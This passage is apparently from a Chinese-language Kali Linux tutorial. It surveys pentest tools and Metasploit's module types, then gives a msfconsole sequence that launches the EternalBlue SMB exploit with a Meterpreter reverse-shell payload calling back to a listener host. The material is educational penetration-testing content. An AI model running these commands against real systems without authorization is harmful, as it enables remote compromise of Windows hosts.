Kali Linux 核心功能与常用工具
三、核心功能与常用工具
Kali 的价值在于工具体系完整且能互相接力:先用扫描工具摸清资产,再用漏洞库匹配版本,最后用利用框架验证。下表列出最常被用到的几款,以及它们的分工:
| 工具 | 分工 | 典型输入 |
|---|---|---|
nmap | 主机发现、端口扫描、服务与版本识别 | 网段或主机列表 |
msfconsole | 漏洞利用框架,管理模块、会话与载荷 | exploit 模块 + 目标参数 |
burpsuite | Web 抓包与改包,做参数篡改、越权、注入测试 | 浏览器代理流量 |
hydra | 在线密码审计,验证弱口令策略是否落地 | 协议 + 用户名字典 + 密码字典 |
sqlmap | SQL 注入检测与数据提取验证 | 带参数的 URL 或请求文件 |
gobuster | 目录与子域名爆破,发现未公开的入口 | 目标 URL + 字典 |
wireshark | 流量抓取与分析,定位协议层面的异常 | 网卡或 pcap 文件 |
Metasploit 的模块结构是本篇最值得记住的部分,它把所有能力拆成几类:exploit 负责打漏洞,payload 负责打进去之后干什么,auxiliary 负责扫描与嗅探这类不产生会话的动作,post 负责拿到会话之后的提权与信息收集,encoder 负责编码规避,evasion 负责绕过杀软。工作流固定为四步:search 找模块,use 选中模块,set 填参数,run 执行。workspace 用来按项目隔离数据,避免不同客户的扫描结果串在一起。
# 工作区管理:一个项目一个 workspace
msfconsole -q
msf6 > workspace -a client-a-2026
msf6 > workspace
msf6 > workspace client-a-2026
# 模块工作流:搜索 -> 使用 -> 设置 -> 执行
msf6 > search type:exploit platform:windows smb
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > show options
msf6 > set RHOSTS 192.0.2.10
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.0.2.5
msf6 > check
msf6 > run
关键配置项有三个容易被忽略:LHOST 必须是目标能回连到的地址(桥接模式下常写宿主机内网 IP,写 127.0.0.1 就一定失败);check 用来在不实际利用的情况下判断目标是否可疑,减少对生产系统的影响;setg 设置的全局变量能在整个 workspace 内复用,适合批量作业。

